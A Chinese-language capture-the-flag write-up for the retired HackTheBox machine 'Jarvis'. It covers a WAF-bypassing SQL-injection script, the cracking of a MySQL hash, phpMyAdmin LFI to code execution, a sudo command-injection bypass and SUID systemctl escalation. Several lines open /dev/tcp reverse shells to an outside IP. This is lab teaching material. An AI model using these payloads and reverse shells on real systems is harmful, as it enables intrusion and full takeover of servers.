概述 (Overview)
HOST: 10.10.10.143
OS: LINUX
发布时间: 2019-06-23
完成时间: 2021-11-27
机器作者: manulqwerty && Ghostpp7
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #SQLi #Command_Injection #SUDOExploitation
攻击链 (Kiillchain)
使用 ATT&CK 技术来描述攻击过程:
-
1. 使用 Nmap 工具扫描服务器开放端口,属于 Discovery(发现)类别的技术。
-
2. 对网站进行目录枚举,发现了一个名为 phpMyAdmin 的应用,属于 Discovery 类别的技术。
-
3. 在网页上的注入点上使用 bypass waf 技术来绕过 web 应用防火墙,属于 Evasion(回避)类别的技术。
-
4. 使用 SQL injection 攻击获得 Mysql 登录帐号,属于 Initial Access(初始访问)类别的技术。
-
5. 使用获得的帐号登录 phpMyAdmin 应用,利用本地文件包含(LFI)漏洞获得立足点,属于 Execution(执行)类别的技术。
-
6. 使用 SUDO 权限滥用来绕过 python 脚本黑名单过滤,并利用命令注入实现账户之间的横向移动,属于 Privilege Escalation(权限提升)类别的技术。
-
7. 最后,通过 SUID 权限使用 systemctl 完成权限提升,属于 Privilege Escalation 类别的技术。
枚举(Enumeration)
老样子依然从扫描目标服务器开放端口开始,工具依然是 Nmap :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从扫描的结果中可以获知目标服务器是 Debian 10
,对外开放了三个端口,其中两个是 Web 服务端口(有时候需要留意版本信息,往往会成为最早发现的脆弱点)。
Port 80 – HTTP
浏览器访问目标服务器的 80 端口上的 Web 服务,很明显能够看到一个 supersecurehotel.htb
域名:
将域名加入本地 hosts 文件中,随后使用 feroxbuster
工具对域名进行目录枚举:
00 68l 167w 2237c http://supersecurehotel.htb/footer.php
200 543l 1653w 0c http://supersecurehotel.htb/index.php
200 43l 85w 1333c http://supersecurehotel.htb/nav.php
200 336l 2992w 19186c http://supersecurehotel.htb/phpmyadmin/ChangeLog
200 339l 2968w 18092c http://supersecurehotel.htb/phpmyadmin/LICENSE
200 52l 212w 1520c http://supersecurehotel.htb/phpmyadmin/README
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/ajax.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/changelog.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/export.php
200 98l 278w 22486c http://supersecurehotel.htb/phpmyadmin/favicon.ico
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/index.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/import.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/license.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/logout.php
200 216l 728w 0c http://supersecurehotel.htb/phpmyadmin/navigation.php
很快得到了 Web 服务存在 /phpmyadmin/
服务路径,并且留意到返回的响应包头中存在 WAF 指纹 IronWAF: 2.0.3
:
HTTP/1.1 200 OK
Date: Sat, 27 Nov 2021 03:56:21 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
IronWAF: 2.0.3
Content-Length: 23628
Connection: close
Content-Type: text/html; charset=UTF-8
立足点(Foothold)
尝试了一波 PHPMyAdmin 服务的弱口令登录均失败,转而尝试寻找 Web 应用服务是否存在 SQL 注入。观察到页面中存在一个 /room.php?cod=2
的 GET 请求传参:
SQLi
进行简单的 SQL 注入测试,观察页面显示内容是否发发生变化:
-
• 当传递
cod=2
时,页面显示的房间标题和金额为 149,这是一个正常的返回结果。 -
• 接着传递
cod=2-1
时,页面显示的房间标题和金额为 270,这其实是cod=1
时的页面结果。 -
• 从结果中不难判断,这里存在数字类型的 SQL 注入
猜测可能的 SQL 查询语句为:
select cod_id,room_id,room_price from room where cod_id=<传递的cod参数>
当然我们传递 2-1
后,实际 SQL 语句在进行查询前做了运算操作,使 cod 值为 1
。随后进一步构造 payload 前的验证,看看是否存在错误信息回显的情况,触发了 WAF
拦截被锁定了 90 秒。
Bypass WAF
首先上面将 GET URL 中的空格替换成加号的方式肯定是不行的,使用 SQL 语句中的 /**/
注释符发现可以成功绕过 WAF 的检测,随后开始走正常的 SQL 注入利用流程:
# 判断注入点到的查询 SQL 字段为 7 列
GET /room.php?cod=2/**/order/**/by/**/8%23/**/ false
GET /room.php?cod=2/**/order/**/by/**/7%23/**/ true
# 使用连接查询替换真实数据,寻找子查询信息输出位置
GET /room.php?cod=-1/**/union/**/select/**/1,2,3,4,5,6,7%23/**/ true
更多 fuzzing 可以参考:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/SQLi/Generic-SQLi.txt
可以看到当前结果已经被我们替换了,在结果中能够看到标签内容显示的数字。
原本尝试使用 sqlmap
,结合它自带的 tamper 脚本进行自动化的发现并不行。检测的 payload 语句还是会自然触发 WAF 拦截,比如:
cod: 1/**/And/**/3385/**/beTwEen/**/3385/**/And/**/3385--/**/phfx
所以还是得自己动手来写靠谱点,使用 python 简单编写了一段脚本,目的就是取子查询内容:
#!/bin/python3
# -*- coding: UTF-8 -*-
import sys
import requests
import re
url = "http://10.10.10.143/room.php?cod=-1/**/union/**/select/**/1,2,({0}),4,5,6,7"
payload = sys.argv[1].replace(' ', '/**/')
s = requests.session()
r = s.request("GET", url=url.format(payload) + '%23')
print("send payload: " + payload)
print
if r.status_code != 200:
print('Error')
exit()
reg_arr = re.findall(r'class="price-room">(.*)</span>',r.text)
print('-'*20)
print(reg_arr[0])
print('-'*20)
随后依次查库、表、字段信息,最终得到 mysql 管理员 hash:
# 获取所有数据库名称
send payload: select group_concat(schema_name) from information_schema.schemata
--------------------
hotel,information_schema,mysql,performance_schema
--------------------
# 获取当前数据库的表名
send payload: select group_concat(table_name) from information_schema.tables where table_schema=database()
--------------------
room
--------------------
# 获取mysql账户密码
send payload: select concat(host,0x3a,user,0x3a,password) from mysql.user
--------------------
localhost:DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
--------------------
# 使用 hashcat 配合字典成功得到明文密码
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0:imissyou
拿到 mysql 账户密码后就可以登录 phpmyadmin 了,可以发现 phpmyadmin 的版本很低,这意味着我们可以找到 RCE 的相关漏洞。
phpMyAdmin LFI
通过 Google 一顿搜索,找到了在低版本中存在本地文件包含的漏洞,那么我们可以直接利用它来进行任意命令执行。
phpMyAdmin 4.8.0~4.8.3 LFI https://www.vulnspy.com/en-phpmyadmin-pmasa-2018-6/
我用的是利用 PHP SESSION 序列化数据进行 RCE,每次当我们登录 phpmyadmin 后,系统就会产生一个 session_id 文件,然后在 phpmyadmin 里面执行 sql 查询操作均会被记录到这个文件内。
-
• 打开控制台,获取自己的 sessionID。
-
• 随便找个数据库进行 SQL 语句查询。
-
• 利用 LFI 进行文件包含触发恶意代码执行。
php:select '<?php system("bash -c 'sh -i >& /dev/tcp/10.10.17.64/9900 0>&1'"); ?>'
payload:/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_xxxxxxx
访问后成功得到立足点。
横向移动(Lateral Movement)
因为当前 shell 用户是 www-data,本身权限较低所以我们得想办法进行账户横移,已进行后续的权限提升操作。
按照习惯查看了下 sudo 权限列表,发现可以免密已 pepper 用户身份运行 python 脚本:
$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$
随后对代码进行审查:
...snip...
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
...snip...
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
关键代码在 exec_ping 方法中:
-
• 当用 sudo 运行脚本并附带
-p
参数后,会接收用户传递的字符串 -
• 如果字符串内容含有黑名单内容则终止,否则就进行字符串拼接并执行系统 shell
因为使用的黑明单过滤,所以能很容易的发现 bypass 的方式,这里遗漏了 $
、(
、)
符号的组合使用。例如:
$ echo 123`pwd`
123/tmp
$ echo 123$(pwd)
123/tmp
可以看到 $(pwd)
语句优先于 echo
被执行,这是因为 bash 的语言特性 $()
内的命令会作为变量进行传递[1]。
接下来就比较简单了,先写一段反弹 shell 脚本并赋予执行权限:
echo -e '#!/bin/bashnnbash -c "sh -i >& /dev/tcp/10.10.17.64/9900 0>&1"' > /tmp/shell
chmod +x /tmp/shell
接着在 sudo 运行脚本并带上 -p
参数,输入 127.0.0.1$(/tmp/shell)
成功得到 pepper 用户的 shell。
权限提升(Privilege Escalation)
为了方便后续的操作,将 kali 的公钥写入 pepper 用户的 authorized_keys 文件中,实现 ssh 免密登录。
将 linpeas 传递至目标服务器运行信息收集,发现 /bin/systemctl
命令存在 SUID 权限,这样我们直接通过它就能完成权限提升了。
https://gtfobins.github.io/gtfobins/systemctl/#suid
运行 gtfobins 中提供的命令,创建一个自定义服务含有恶意反弹 shell 命令并执行,成功完成权限提升操作。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "sh -i >& /dev/tcp/10.10.17.64/9900 0>&1"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
复盘
SUID (Set User ID) 是一种 Linux 文件权限标记,用于指定文件执行时使用哪个用户的权限。当文件有 SUID 标记时,即使当前用户没有执行该文件的权限,也可以执行该文件。SUID 滥用指的是指将文件的 SUID 标记设置为高权限用户,以此来获取更高的权限。这样做可能会导致严重的安全问题,因为攻击者可能会利用该文件来获取高权限。
因定期对系统中所有文件进行审核,找出所有有 SUID 标记的文件,并评估这些文件是否有必要。如果发现某些文件没有必要拥有 SUID 标记,应立即删除这些标记,以降低漏洞的风险。使用使用 SELinux 或 AppArmor 等安全策略可以限制程序的访问权限,防止攻击者利用 SUID 标记提升权限。
引用链接
[1]
变量进行传递: https://wiki.bash-hackers.org/syntax/expansion/cmdsubst
原文始发于微信公众号(一个人的安全笔记):[HTB] Jarvis Writeup